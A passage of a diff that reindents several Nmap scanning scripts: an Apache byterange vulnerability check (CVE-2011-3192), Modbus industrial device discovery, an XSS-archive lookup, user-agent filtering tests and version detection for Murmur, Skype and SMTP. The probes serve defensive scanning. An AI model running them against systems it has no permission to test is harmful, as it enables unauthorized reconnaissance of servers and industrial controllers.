"HTTP::Lite",
|
||||||
"PHPCrawl",
|
"PHPCrawl",
|
||||||
"URI::Fetch",
|
"URI::Fetch",
|
||||||
"Zend_Http_Client",
|
"Zend_Http_Client",
|
||||||
"http client",
|
"http client",
|
||||||
"PECL::HTTP",
|
"PECL::HTTP",
|
||||||
"Wget/1.13.4 (linux-gnu)",
|
"Wget/1.13.4 (linux-gnu)",
|
||||||
"WWW-Mechanize/1.34"
|
"WWW-Mechanize/1.34"
|
||||||
}
|
}
|
||||||
|
|
||||||
if moreagents then
|
if moreagents then
|
||||||
for _, l in ipairs(moreagents) do
|
for _, l in ipairs(moreagents) do
|
||||||
table.insert(HTTPlibs, l)
|
table.insert(HTTPlibs, l)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
-- We perform a normal browser request and get the returned location
|
||||||
|
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
|
||||||
|
|
||||||
|
local allowed, forb = {}, {}
|
||||||
|
|
||||||
|
for _, l in ipairs(HTTPlibs) do
|
||||||
|
|
||||||
|
local libloc = getLastLoc(host, port, l)
|
||||||
|
|
||||||
|
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
|
||||||
|
if loc ~= libloc then
|
||||||
|
local msg = l .. " redirected to: " .. libloc
|
||||||
|
local libhost = http.parse_url(libloc)
|
||||||
|
if not crawler:iswithinhost(libhost.host) then
|
||||||
|
msg = msg .. " (different host)"
|
||||||
|
if newtargets then
|
||||||
|
target.add(libhost.host)
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
table.insert(forb, msg)
|
||||||
|
else
|
||||||
|
table.insert(allowed, l)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We perform a normal browser request and get the returned location
|
end
|
||||||
local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
|
|
||||||
|
|
||||||
local allowed, forb = {}, {}
|
if next(allowed) ~= nil then
|
||||||
|
table.insert(allowed, 1, "Allowed User Agents:")
|
||||||
|
end
|
||||||
|
|
||||||
for _, l in ipairs(HTTPlibs) do
|
if next(forb) ~= nil then
|
||||||
|
table.insert(forb, 1, "Forbidden User Agents:")
|
||||||
|
end
|
||||||
|
|
||||||
local libloc = getLastLoc(host, port, l)
|
return {allowed, forb}
|
||||||
|
|
||||||
-- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden.
|
|
||||||
if loc ~= libloc then
|
|
||||||
local msg = l .. " redirected to: " .. libloc
|
|
||||||
local libhost = http.parse_url(libloc)
|
|
||||||
if not crawler:iswithinhost(libhost.host) then
|
|
||||||
msg = msg .. " (different host)"
|
|
||||||
if newtargets then
|
|
||||||
target.add(libhost.host)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
table.insert(forb, msg)
|
|
||||||
else
|
|
||||||
table.insert(allowed, l)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
if next(allowed) ~= nil then
|
|
||||||
table.insert(allowed, 1, "Allowed User Agents:")
|
|
||||||
end
|
|
||||||
|
|
||||||
if next(forb) ~= nil then
|
|
||||||
table.insert(forb, 1, "Forbidden User Agents:")
|
|
||||||
end
|
|
||||||
|
|
||||||
return {allowed, forb}
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -56,74 +56,74 @@ categories = {"vuln", "safe"}
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'Apache byterange filter DoS',
|
title = 'Apache byterange filter DoS',
|
||||||
state = vulns.STATE.NOT_VULN, -- default
|
state = vulns.STATE.NOT_VULN, -- default
|
||||||
IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'},
|
IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'},
|
||||||
description = [[
|
description = [[
|
||||||
The Apache web server is vulnerable to a denial of service attack when numerous
|
The Apache web server is vulnerable to a denial of service attack when numerous
|
||||||
overlapping byte ranges are requested.]],
|
overlapping byte ranges are requested.]],
|
||||||
references = {
|
references = {
|
||||||
'http://seclists.org/fulldisclosure/2011/Aug/175',
|
'http://seclists.org/fulldisclosure/2011/Aug/175',
|
||||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
|
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192',
|
||||||
'http://nessus.org/plugins/index.php?view=single&id=55976',
|
'http://nessus.org/plugins/index.php?view=single&id=55976',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2011', month = '08', day = '19'},
|
disclosure = {year = '2011', month = '08', day = '19'},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
|
local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname',
|
||||||
'http-vuln-cve2011-3192.path')
|
'http-vuln-cve2011-3192.path')
|
||||||
|
|
||||||
if not path then
|
if not path then
|
||||||
path = '/'
|
path = '/'
|
||||||
|
|
||||||
stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
|
stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- This first request will try to get a code 206 reply from the server by
|
-- This first request will try to get a code 206 reply from the server by
|
||||||
-- sending the innocuous header "Range: byte=0-100" in order to detect
|
-- sending the innocuous header "Range: byte=0-100" in order to detect
|
||||||
-- whether this functionality is available or not.
|
-- whether this functionality is available or not.
|
||||||
local request_opts = {
|
local request_opts = {
|
||||||
header = {
|
header = {
|
||||||
Range = "bytes=0-100",
|
Range = "bytes=0-100",
|
||||||
Connection = "close"
|
Connection = "close"
|
||||||
},
|
},
|
||||||
bypass_cache = true
|
bypass_cache = true
|
||||||
}
|
}
|
||||||
|
|
||||||
if hostname then
|
if hostname then
|
||||||
request_opts.header.Host = hostname
|
request_opts.header.Host = hostname
|
||||||
end
|
end
|
||||||
|
|
||||||
local response = http.head(host, port, path, request_opts)
|
local response = http.head(host, port, path, request_opts)
|
||||||
|
|
||||||
|
if not response.status then
|
||||||
|
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').",
|
||||||
|
SCRIPT_NAME, hostname or host.ip, path)
|
||||||
|
elseif response.status == 206 then
|
||||||
|
-- The server handle range requests. Now try to request 11 ranges (one more
|
||||||
|
-- than allowed).
|
||||||
|
-- Vulnerable servers will reply with another code 206 response. Patched
|
||||||
|
-- ones will return a code 200.
|
||||||
|
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
|
||||||
|
|
||||||
|
response = http.head(host, port, path, request_opts)
|
||||||
|
|
||||||
if not response.status then
|
if not response.status then
|
||||||
stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').",
|
stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
|
||||||
SCRIPT_NAME, hostname or host.ip, path)
|
SCRIPT_NAME)
|
||||||
elseif response.status == 206 then
|
elseif response.status == 206 then
|
||||||
-- The server handle range requests. Now try to request 11 ranges (one more
|
vuln.state = vulns.STATE.VULN
|
||||||
-- than allowed).
|
|
||||||
-- Vulnerable servers will reply with another code 206 response. Patched
|
|
||||||
-- ones will return a code 200.
|
|
||||||
request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
|
|
||||||
|
|
||||||
response = http.head(host, port, path, request_opts)
|
|
||||||
|
|
||||||
if not response.status then
|
|
||||||
stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check",
|
|
||||||
SCRIPT_NAME)
|
|
||||||
elseif response.status == 206 then
|
|
||||||
vuln.state = vulns.STATE.VULN
|
|
||||||
else
|
|
||||||
stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
|
|
||||||
SCRIPT_NAME, response.status)
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)",
|
stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)",
|
||||||
SCRIPT_NAME, response.status)
|
SCRIPT_NAME, response.status)
|
||||||
end
|
end
|
||||||
return vuln_report:make_output(vuln)
|
else
|
||||||
|
stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)",
|
||||||
|
SCRIPT_NAME, response.status)
|
||||||
|
end
|
||||||
|
return vuln_report:make_output(vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -45,46 +45,46 @@ local XSSED_URL = "URL: ([^%s]+)</th>"
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local fixed, unfixed
|
local fixed, unfixed
|
||||||
|
|
||||||
local target = XSSED_SEARCH .. host.targetname
|
local target = XSSED_SEARCH .. host.targetname
|
||||||
|
|
||||||
-- Only one instantiation of the script should ping xssed at once.
|
-- Only one instantiation of the script should ping xssed at once.
|
||||||
local mutex = nmap.mutex("http-xssed")
|
local mutex = nmap.mutex("http-xssed")
|
||||||
mutex "lock"
|
mutex "lock"
|
||||||
|
|
||||||
local response = http.get(XSSED_SITE, 80, target)
|
local response = http.get(XSSED_SITE, 80, target)
|
||||||
|
|
||||||
if string.find(response.body, XSSED_FOUND) then
|
if string.find(response.body, XSSED_FOUND) then
|
||||||
fixed = {}
|
fixed = {}
|
||||||
unfixed = {}
|
unfixed = {}
|
||||||
for m in string.gmatch(response.body, XSSED_MIRROR) do
|
for m in string.gmatch(response.body, XSSED_MIRROR) do
|
||||||
local mirror = http.get(XSSED_SITE, 80, m)
|
local mirror = http.get(XSSED_SITE, 80, m)
|
||||||
for v in string.gmatch(mirror.body, XSSED_URL) do
|
for v in string.gmatch(mirror.body, XSSED_URL) do
|
||||||
if string.find(mirror.body, XSSED_FIXED) then
|
if string.find(mirror.body, XSSED_FIXED) then
|
||||||
table.insert(fixed, "\t" .. v .. "\n")
|
table.insert(fixed, "\t" .. v .. "\n")
|
||||||
else
|
else
|
||||||
table.insert(unfixed, "\t" .. v .. "\n")
|
table.insert(unfixed, "\t" .. v .. "\n")
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
mutex "done"
|
mutex "done"
|
||||||
|
|
||||||
-- Fix the output.
|
-- Fix the output.
|
||||||
if not fixed and not unfixed then
|
if not fixed and not unfixed then
|
||||||
return "No previously reported XSS vuln."
|
return "No previously reported XSS vuln."
|
||||||
end
|
end
|
||||||
|
|
||||||
if next(unfixed) ~= nil then
|
if next(unfixed) ~= nil then
|
||||||
table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
|
table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
if next(fixed) ~= nil then
|
if next(fixed) ~= nil then
|
||||||
table.insert(fixed, 1, "FIXED XSS vuln.\n")
|
table.insert(fixed, 1, "FIXED XSS vuln.\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
return {unfixed, fixed}
|
return {unfixed, fixed}
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -46,125 +46,125 @@ categories = {"discovery", "intrusive"}
|
|||||||
portrule = shortport.portnumber(502, "tcp")
|
portrule = shortport.portnumber(502, "tcp")
|
||||||
|
|
||||||
local form_rsid = function(sid, functionId, data)
|
local form_rsid = function(sid, functionId, data)
|
||||||
local payload_len = 2
|
local payload_len = 2
|
||||||
if ( #data > 0 ) then
|
if ( #data > 0 ) then
|
||||||
payload_len = payload_len + #data
|
payload_len = payload_len + #data
|
||||||
end
|
end
|
||||||
return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data
|
return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data
|
||||||
end
|
end
|
||||||
|
|
||||||
discover_device_id_recursive = function(host, port, sid, start_id)
|
discover_device_id_recursive = function(host, port, sid, start_id)
|
||||||
local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id))
|
local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id))
|
||||||
local status, result = comm.exchange(host, port, rsid)
|
local status, result = comm.exchange(host, port, rsid)
|
||||||
local objects_table = {}
|
local objects_table = {}
|
||||||
if ( status and (#result >= 8)) then
|
if ( status and (#result >= 8)) then
|
||||||
local ret_code = string.byte(result, 8)
|
local ret_code = string.byte(result, 8)
|
||||||
if ( ret_code == 0x2B and #result >= 15 ) then
|
if ( ret_code == 0x2B and #result >= 15 ) then
|
||||||
local more_follows = string.byte(result, 12)
|
local more_follows = string.byte(result, 12)
|
||||||
local next_object_id = string.byte(result, 13)
|
local next_object_id = string.byte(result, 13)
|
||||||
local number_of_objects = string.byte(result, 14)
|
local number_of_objects = string.byte(result, 14)
|
||||||
stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects))
|
stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects))
|
||||||
local offset = 15
|
local offset = 15
|
||||||
for i = start_id, (number_of_objects - 1) do
|
for i = start_id, (number_of_objects - 1) do
|
||||||
local object_id = string.byte(result, offset)
|
local object_id = string.byte(result, offset)
|
||||||
local object_len = string.byte(result, offset + 1)
|
local object_len = string.byte(result, offset + 1)
|
||||||
-- error data format --
|
-- error data format --
|
||||||
if object_len == nil then break end
|
if object_len == nil then break end
|
||||||
local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
|
local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
|
||||||
stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value))
|
stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value))
|
||||||
table.insert(objects_table, object_id + 1, object_value)
|
table.insert(objects_table, object_id + 1, object_value)
|
||||||
offset = offset + 2 + object_len
|
offset = offset + 2 + object_len
|
||||||
end
|
end
|
||||||
if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
|
if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
|
||||||
stdnse.print_debug(1, "Has more objects")
|
stdnse.print_debug(1, "Has more objects")
|
||||||
local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id)
|
local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id)
|
||||||
for k,v in pairs(recursive_table) do
|
for k,v in pairs(recursive_table) do
|
||||||
table.insert(objects_table, k, v)
|
table.insert(objects_table, k, v)
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
return objects_table
|
end
|
||||||
|
return objects_table
|
||||||
end
|
end
|
||||||
|
|
||||||
local discover_device_id = function(host, port, sid)
|
local discover_device_id = function(host, port, sid)
|
||||||
return discover_device_id_recursive(host, port, sid, 0x0)
|
return discover_device_id_recursive(host, port, sid, 0x0)
|
||||||
end
|
end
|
||||||
|
|
||||||
local form_device_id_string = function(device_table)
|
local form_device_id_string = function(device_table)
|
||||||
local ret_string = "DEVICE IDENTIFICATION: "
|
local ret_string = "DEVICE IDENTIFICATION: "
|
||||||
for i = 1, #device_table do
|
for i = 1, #device_table do
|
||||||
if ( device_table[i] ~= nil ) then
|
if ( device_table[i] ~= nil ) then
|
||||||
ret_string = ret_string..device_table[i]
|
ret_string = ret_string..device_table[i]
|
||||||
if ( i < #device_table ) then ret_string = ret_string.." " end
|
if ( i < #device_table ) then ret_string = ret_string.." " end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return ret_string
|
end
|
||||||
|
return ret_string
|
||||||
end
|
end
|
||||||
|
|
||||||
local extract_slave_id = function(response)
|
local extract_slave_id = function(response)
|
||||||
local byte_count = string.byte(response, 9)
|
local byte_count = string.byte(response, 9)
|
||||||
if ( byte_count == nil or byte_count == 0) then return nil end
|
if ( byte_count == nil or byte_count == 0) then return nil end
|
||||||
local offset, slave_id = bin.unpack("A"..byte_count, response, 10)
|
local offset, slave_id = bin.unpack("A"..byte_count, response, 10)
|
||||||
return slave_id
|
return slave_id
|
||||||
end
|
end
|
||||||
|
|
||||||
modbus_exception_codes = {
|
modbus_exception_codes = {
|
||||||
[1] = "ILLEGAL FUNCTION",
|
[1] = "ILLEGAL FUNCTION",
|
||||||
[2] = "ILLEGAL DATA ADDRESS",
|
[2] = "ILLEGAL DATA ADDRESS",
|
||||||
[3] = "ILLEGAL DATA VALUE",
|
[3] = "ILLEGAL DATA VALUE",
|
||||||
[4] = "SLAVE DEVICE FAILURE",
|
[4] = "SLAVE DEVICE FAILURE",
|
||||||
[5] = "ACKNOWLEDGE",
|
[5] = "ACKNOWLEDGE",
|
||||||
[6] = "SLAVE DEVICE BUSY",
|
[6] = "SLAVE DEVICE BUSY",
|
||||||
[8] = "MEMORY PARITY ERROR",
|
[8] = "MEMORY PARITY ERROR",
|
||||||
[10] = "GATEWAY PATH UNAVAILABLE",
|
[10] = "GATEWAY PATH UNAVAILABLE",
|
||||||
[11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
|
[11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- If false, stop after first sid.
|
-- If false, stop after first sid.
|
||||||
local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
|
local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
|
||||||
|
|
||||||
local opts = {timeout=2000}
|
local opts = {timeout=2000}
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
for sid = 1, 246 do
|
for sid = 1, 246 do
|
||||||
stdnse.print_debug(3, "Sending command with sid = %d", sid)
|
stdnse.print_debug(3, "Sending command with sid = %d", sid)
|
||||||
local rsid = form_rsid(sid, 0x11, "")
|
local rsid = form_rsid(sid, 0x11, "")
|
||||||
|
|
||||||
local status, result = comm.exchange(host, port, rsid, opts)
|
local status, result = comm.exchange(host, port, rsid, opts)
|
||||||
if ( status and (#result >= 8) ) then
|
if ( status and (#result >= 8) ) then
|
||||||
local ret_code = string.byte(result, 8)
|
local ret_code = string.byte(result, 8)
|
||||||
if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
|
if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
|
||||||
local sid_table = {}
|
local sid_table = {}
|
||||||
if ret_code == (0x11) then
|
if ret_code == (0x11) then
|
||||||
table.insert(results, ("Positive response for sid = 0x%x"):format(sid))
|
table.insert(results, ("Positive response for sid = 0x%x"):format(sid))
|
||||||
local slave_id = extract_slave_id(result)
|
local slave_id = extract_slave_id(result)
|
||||||
if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end
|
if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end
|
||||||
elseif ret_code == (0x11 + 128) then
|
elseif ret_code == (0x11 + 128) then
|
||||||
local exception_code = string.byte(result, 9)
|
local exception_code = string.byte(result, 9)
|
||||||
local exception_string = modbus_exception_codes[exception_code]
|
local exception_string = modbus_exception_codes[exception_code]
|
||||||
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
|
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
|
||||||
table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string))
|
table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string))
|
||||||
end
|
|
||||||
|
|
||||||
local device_table = discover_device_id(host, port, sid)
|
|
||||||
if ( #device_table > 0 ) then
|
|
||||||
table.insert(sid_table, form_device_id_string(device_table))
|
|
||||||
end
|
|
||||||
if ( #sid_table > 0 ) then
|
|
||||||
table.insert(results, sid_table)
|
|
||||||
end
|
|
||||||
if ( not aggressive ) then break end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if ( #results > 0 ) then
|
local device_table = discover_device_id(host, port, sid)
|
||||||
port.state = "open"
|
if ( #device_table > 0 ) then
|
||||||
port.version.name = "modbus"
|
table.insert(sid_table, form_device_id_string(device_table))
|
||||||
nmap.set_port_version(host, port)
|
end
|
||||||
|
if ( #sid_table > 0 ) then
|
||||||
|
table.insert(results, sid_table)
|
||||||
|
end
|
||||||
|
if ( not aggressive ) then break end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
if ( #results > 0 ) then
|
||||||
|
port.state = "open"
|
||||||
|
port.version.name = "modbus"
|
||||||
|
nmap.set_port_version(host, port)
|
||||||
|
end
|
||||||
|
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,60 +43,60 @@ categories = { "version" }
|
|||||||
portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"})
|
portrule = shortport.version_port_or_service({64738}, "murmur", {"tcp", "udp"})
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
|
local mutex = nmap.mutex("murmur-version:" .. host.ip .. ":" .. port.number)
|
||||||
mutex("lock")
|
mutex("lock")
|
||||||
|
|
||||||
if host.registry["murmur-version"] == nil then
|
if host.registry["murmur-version"] == nil then
|
||||||
host.registry["murmur-version"] = {}
|
host.registry["murmur-version"] = {}
|
||||||
end
|
end
|
||||||
-- Maybe the script already ran for this port number on another protocol
|
-- Maybe the script already ran for this port number on another protocol
|
||||||
local r = host.registry["murmur-version"][port.number]
|
local r = host.registry["murmur-version"][port.number]
|
||||||
if r == nil then
|
if r == nil then
|
||||||
r = {}
|
r = {}
|
||||||
host.registry["murmur-version"][port.number] = r
|
host.registry["murmur-version"][port.number] = r
|
||||||
|
|
||||||
local status, result = comm.exchange(
|
local status, result = comm.exchange(
|
||||||
host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
|
host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
|
||||||
if not status then
|
if not status then
|
||||||
mutex("done")
|
mutex("done")
|
||||||
return
|
return
|
||||||
end
|
|
||||||
|
|
||||||
-- UDP port is open
|
|
||||||
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
|
|
||||||
|
|
||||||
if not string.match(result, "^%z...abcdefgh............$") then
|
|
||||||
mutex("done")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
-- Detected; extract relevant data
|
|
||||||
local _
|
|
||||||
_, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
|
|
||||||
bin.unpack(">CCCLIII", result, 2)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
mutex("done")
|
-- UDP port is open
|
||||||
|
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
|
||||||
|
|
||||||
-- If the registry is empty the port was probed but Murmur wasn't detected
|
if not string.match(result, "^%z...abcdefgh............$") then
|
||||||
if next(r) == nil then
|
mutex("done")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
port.version.name = "murmur"
|
-- Detected; extract relevant data
|
||||||
port.version.name_confidence = 10
|
local _
|
||||||
port.version.product = "Murmur"
|
_, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
|
||||||
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
|
bin.unpack(">CCCLIII", result, 2)
|
||||||
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
|
end
|
||||||
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
|
|
||||||
-- Add extra info depending on protocol
|
|
||||||
if port.protocol == "tcp" then
|
|
||||||
port.version.extrainfo = "control port" .. port.version.extrainfo
|
|
||||||
else
|
|
||||||
port.version.extrainfo = "voice port" .. port.version.extrainfo
|
|
||||||
end
|
|
||||||
|
|
||||||
nmap.set_port_version(host, port, "hardmatched")
|
mutex("done")
|
||||||
|
|
||||||
|
-- If the registry is empty the port was probed but Murmur wasn't detected
|
||||||
|
if next(r) == nil then
|
||||||
return
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
port.version.name = "murmur"
|
||||||
|
port.version.name_confidence = 10
|
||||||
|
port.version.product = "Murmur"
|
||||||
|
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
|
||||||
|
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
|
||||||
|
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
|
||||||
|
-- Add extra info depending on protocol
|
||||||
|
if port.protocol == "tcp" then
|
||||||
|
port.version.extrainfo = "control port" .. port.version.extrainfo
|
||||||
|
else
|
||||||
|
port.version.extrainfo = "voice port" .. port.version.extrainfo
|
||||||
|
end
|
||||||
|
|
||||||
|
nmap.set_port_version(host, port, "hardmatched")
|
||||||
|
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -18,36 +18,36 @@ categories = {"version"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
return (port.number == 80 or port.number == 443 or
|
return (port.number == 80 or port.number == 443 or
|
||||||
port.service == nil or port.service == "" or
|
port.service == nil or port.service == "" or
|
||||||
port.service == "unknown")
|
port.service == "unknown")
|
||||||
and port.protocol == "tcp" and port.state == "open"
|
and port.protocol == "tcp" and port.state == "open"
|
||||||
and port.version.name_confidence < 10
|
and port.version.name_confidence < 10
|
||||||
and not(shortport.port_is_excluded(port.number,port.protocol))
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result = comm.exchange(host, port,
|
local status, result = comm.exchange(host, port,
|
||||||
"GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol})
|
"GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol})
|
||||||
if (not status) then
|
if (not status) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
|
if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
-- So far so good, now see if we get random data for another request
|
-- So far so good, now see if we get random data for another request
|
||||||
status, result = comm.exchange(host, port,
|
status, result = comm.exchange(host, port,
|
||||||
"random data\r\n\r\n", {bytes=15, proto=port.protocol})
|
"random data\r\n\r\n", {bytes=15, proto=port.protocol})
|
||||||
|
|
||||||
if (not status) then
|
if (not status) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
|
if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
|
||||||
-- Detected
|
-- Detected
|
||||||
port.version.name = "skype2"
|
port.version.name = "skype2"
|
||||||
port.version.product = "Skype"
|
port.version.product = "Skype"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -68,64 +68,64 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = shortport.port_or_service({ 25, 465, 587 },
|
portrule = shortport.port_or_service({ 25, 465, 587 },
|
||||||
{ "smtp", "smtps", "submission" })
|
{ "smtp", "smtps", "submission" })
|
||||||
|
|
||||||
function go(host, port)
|
function go(host, port)
|
||||||
local options = {
|
local options = {
|
||||||
timeout = 10000,
|
timeout = 10000,
|
||||||
recv_before = true,
|
recv_before = true,
|
||||||
ssl = true,
|
ssl = true,
|
||||||
}
|
}
|
||||||
|
|
||||||
local domain = stdnse.get_script_args('smtp-commands.domain') or
|
local domain = stdnse.get_script_args('smtp-commands.domain') or
|
||||||
smtp.get_domain(host)
|
smtp.get_domain(host)
|
||||||
|
|
||||||
local result, status = {}
|
local result, status = {}
|
||||||
-- Try to connect to server.
|
-- Try to connect to server.
|
||||||
local socket, response = smtp.connect(host, port, options)
|
local socket, response = smtp.connect(host, port, options)
|
||||||
if not socket then
|
if not socket then
|
||||||
return false, string.format("Couldn't establish connection on port %i",
|
return false, string.format("Couldn't establish connection on port %i",
|
||||||
port.number)
|
port.number)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, response = smtp.ehlo(socket, domain)
|
status, response = smtp.ehlo(socket, domain)
|
||||||
if not status then
|
if not status then
|
||||||
return status, response
|
return status, response
|
||||||
end
|
end
|
||||||
|
|
||||||
response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250-
|
response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250-
|
||||||
response = string.gsub(response, "\r\n", "\n") -- normalize CR LF
|
response = string.gsub(response, "\r\n", "\n") -- normalize CR LF
|
||||||
